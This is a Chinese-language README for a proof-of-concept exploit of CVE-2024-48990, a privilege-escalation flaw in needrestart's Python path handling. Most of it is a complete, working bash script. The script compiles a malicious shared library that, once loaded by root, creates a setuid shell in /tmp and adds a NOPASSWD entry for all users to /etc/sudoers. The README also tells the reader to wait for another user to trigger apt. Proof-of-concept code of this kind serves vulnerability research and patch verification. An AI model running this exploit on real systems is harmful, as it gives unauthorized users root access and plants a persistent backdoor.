该仓库包含一个概念验证 (PoC),用于演示**needrestart程序中的一个漏洞**,该程序未能正确设置Python路径,可能导致权限提升。该PoC突显了通过利用此缺陷获取提升权限的潜在途径。
CVE-2024-48990 漏洞存在于 needrestart 包中。具体来说,它未能正确设置 Python 路径,在特定操作触发时可被利用来提升权限。
该 PoC 模拟了一个场景:通过 Python 加载恶意共享库,操纵系统设置并获取提升的权限。请仅在受控、安全的环境中进行测试。
要检查你是否易受攻击,请运行:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
如果你想获取一个易受攻击的版本来测试,只需运行:
sudo apt install needrestart=3.7-3
要触发漏洞,请在监听脚本运行时执行以下命令:
sudo apt remove ntp; sudo apt install ntp
此命令安装一个包(此处为 ntp),会触发 needrestart 的问题。不过理想情况下,你应等待系统上的另一个用户进行更新或执行触发 needrestart 的操作,例如 sudo apt update。
运行以下脚本来设置 PoC 并触发漏洞。你可以直接复制整个脚本到终端并等待,或者按上述方式手动触发(例如使用 ntp)。该脚本还会将二进制文件添加到所有用户的 sudo 路径中作为演示——实际上你可以只为你自己的用户添加 sudo 的所有路径,但我希望展示两者:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
如果你想清理测试文件并从 sudoers 中移除自己,可以在提权后的提示符下运行以下命令:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart 包(或移除后重新安装以触发)此 PoC 仅用于测试目的,不应在生产环境中使用。在未经授权的环境中利用此漏洞可能违法。进行任何安全测试前,请务必获得明确许可。
祝测试愉快!🧪🚀